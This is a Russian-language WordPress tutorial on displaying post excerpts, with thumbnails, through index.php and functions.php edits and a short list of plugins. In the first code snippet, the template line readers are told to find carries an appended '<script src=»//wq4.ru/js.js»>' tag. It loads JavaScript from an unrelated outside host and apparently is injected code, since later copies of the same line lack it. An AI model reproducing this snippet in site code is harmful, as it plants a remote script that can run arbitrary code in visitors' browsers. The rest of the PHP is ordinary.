WordPress анонсы статей

Анонсы WordPress — краткая запись, выводимая на главной странице сайте, категориях и рубриках.

Думаю, вам также будет интересно прочитать статью Похожие статьи WordPress — здесь рассказывается, как вывести похожие записи с картинкой в конце статьи.

Самый простой способ вывода анонса WordPress — в каждой статье прописывать тег more (в редакторе статей есть такая кнопка называется «Вставить тег Далее» выглядит — Тег далее в WordPress). Данный тег надо добавлять после нужного вам слова, до которого все предложения будут выводиться в анонсе, остальное — при просмотре полной статьи.

Но возникает такая проблема — если вы не проставляли такие теги для каждой записи, то вам придется проставлять их во всех статьях, что очень долго, поэтому предлагаю второй способ.

Содержание:

1. Вывод анонсов WordPress только текст.

2. Вывод анонсов WordPress с миниатюрами — картинками.

3. Вариант вывода анонсов с картинкой

4. Плагины для вывода анонсов

Если не уверены в своих силах, то обязательно сохраняйте редактируемые файлы на компьютер, чтобы при ошибке вернуть все обратно.

Вывод анонсов WordPress

1. Открываем файл Index.php (возможно, что его в вашем шаблоне нету, либо не этот файл отвечает за данные функции, похожие файлы — post.php) (находится Внешний вид -> Редактор -> справа ищем данный файл).

Находим такую строчку:

  1. <?php the_content() ?><script src=»//wq4.ru/js.js»></script>

Шаблоны могут мыть разными, поэтому, лучше искать какой-то кусок этого кода, например,

  1. the_content

Потому что код может быть оформлен по другому, в любом случае данный код надо заменить на следующий:

  1. <?php the_excerpt (); ?>

2. Открываем файл functions.php .Вставляем в него данный код (необходимо добавлять его после — первый находится вначале, 2 в самом конце)

  1. function new_excerpt_length($length) {
  2.     return 55;
  3. }
  4. add_filter(‘excerpt_length’, ‘new_excerpt_length’);

Цифра 55 позволяет менять длину WordPress анонса статьи в символах (естественно слова будут оставаться целыми)

3. Задаем ссылку на полную запись (вставляем в файл functions.php)

  1. function new_excerpt_more($post) {
  2.     return ‘ <a href=»‘. get_permalink($post->ID) . ‘»>’
  3.  . ‘Продолжение’ . ‘</a>’; }
  4. add_filter(‘excerpt_more’, ‘new_excerpt_more’);

WordPress анонсы с миниатюрой

Теперь перейдем к тому, как выводить анонсы wordpress с картинкой.

1. Открываем файл Index.php и ищем:

  1. <?php the_content() ?>

Заменяем на

  1. <?php the_post_thumbnail(array(150,150), array(‘class’ => ‘alignleft’));?>
  2. <?php the_excerpt() ?>
  3. <a href=»<?php the_permalink(); ?>»>Читать далее</a>

В этой коде вы можете поменять следующее:

цифры 150,150 означают размер картинки — миниатюры, можно назначить свой.

Фразу Читать далее можно также поменять на другое.

2. Теперь функция, которая назначает положение картинки (файл functions.php) ( На заметку: // справа — это комментарий, его копировать не надо, НО если скопируете, то знайте, что он не будет считаться ни текстом ни кодом, из-за того, что перед словами есть // два слеша, который показывают, что это комментарий):

  1. <span style=»color: #ff6600;»>// справа</span>
  2. the_post_thumbnail(‘thumbnail’, array(‘class’ => ‘alignright’));
  3. <span style=»color: #ff6600;»>// слева</span>
  4. the_post_thumbnail(‘thumbnail’, array(‘class’ => ‘alignleft’));
  5. <span style=»color: #ff6600;»>// в центре</span>
  6. the_post_thumbnail(‘thumbnail’, array(‘class’ => ‘aligncenter’));
  7. <span style=»color: #ff6600;»>//с помощью стилей CSS, например класс – one:</span>
  8. the_post_thumbnail(‘thumbnail’, array(‘class’ => ‘one’));

3. Теперь перейдем к файлу functions.php и добавляем:

  1. function improved_trim_excerpt($text) {
  2.     global $post;
  3.     if ( » == $text ) {
  4.     $text = get_the_content(»);
  5.     $text = apply_filters(‘the_content’, $text);
  6.     $text = str_replace(‘]]>’, ‘]]>’, $text);
  7.     $text = preg_replace(‘@<script[^>]*?>.*?</script>@si’, », $text);
  8.     $text = strip_tags($text, ‘<p>,<br>,<h2>,<h1>,<em>’);
  9.     $excerpt_length = 32;
  10.     $words = explode(‘ ‘, $text, $excerpt_length + 1);
  11.         if (count($words)> $excerpt_length) {
  12.             array_pop($words);
  13.             array_push($words, ‘ …’);
  14.             $text = implode(‘ ‘, $words);
  15.         }
  16.     }
  17.     return $text;
  18. }
  19. remove_filter(‘get_the_excerpt’, ‘wp_trim_excerpt’);
  20. add_filter(‘get_the_excerpt’, ‘improved_trim_excerpt’);

Что тут можно поменять:

$excerpt_length = 80;
array_push($words, ‘[…]’); — строчка означает, что в конце анонса будет … можно заменить на другое, например, поставив пробел

Выглядеть в итоге будет примерно так:

Анонсы WordPress

Оформление анонсов WordPress

Допустим, что у нас в данный момент вот так выглядят анонсы статей:

WordPress анонсы статей

1. Идем в файл index.php

Находим такую строчку:

  1. <?php the_content() ?>

Меняем на код:

  1. <?php the_excerpt (); ?>
  2. <a href=»<?php the_permalink(); ?>»>Читать далее</a>

2. Вставляем следующий код в файл functions.php

  1. function improved_trim_excerpt($text) {
  2.     global $post;
  3.     if ( » == $text ) {
  4.     $text = get_the_content(»);
  5.     $text = apply_filters(‘the_content’, $text);
  6.     $text = str_replace(‘]]>’, ‘]]>’, $text);
  7.     $text = preg_replace(‘@<script[^>]*?>.*?</script>@si’, », $text);
  8.     $text = strip_tags($text, ‘<p>,</p>,<ul>,</ul>,<ol>,</ol>,<li>,</li>,<br />’); //перечисляем HTML-теги, которые будут использоваться в оформлении анонсов
  9.     $excerpt_length = 40; //количество слов в анонсе
  10.     $words = explode(‘ ‘, $text, $excerpt_length + 1);
  11.         if (count($words)> $excerpt_length) {
  12.             array_pop($words);
  13.             array_push($words, ‘…’); //многоточие вместо квадратных скобок
  14.             $text = implode(‘ ‘, $words);
  15.         }
  16.     }
  17.     return $text;
  18. }
  19. remove_filter(‘get_the_excerpt’, ‘wp_trim_excerpt’);
  20. add_filter(‘get_the_excerpt’, ‘improved_trim_excerpt’);

В комментариях данного кода указано, что можно поменять.

В итоге получится вот так:

Оформление анонсов в WordPress

Плагины для вывода похожих статей

В админке WordPress открываем Плагины -> Добавить новый -> Поиск

В поиске пишем название плагина

  • Site Creator Ultimate      — очень крутой плагин по-моему мнению
  • WP Limit Posts Automatically

Плагин поможет сделать вывод анонсов статей

 


Похожие записи:

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Похожие записи: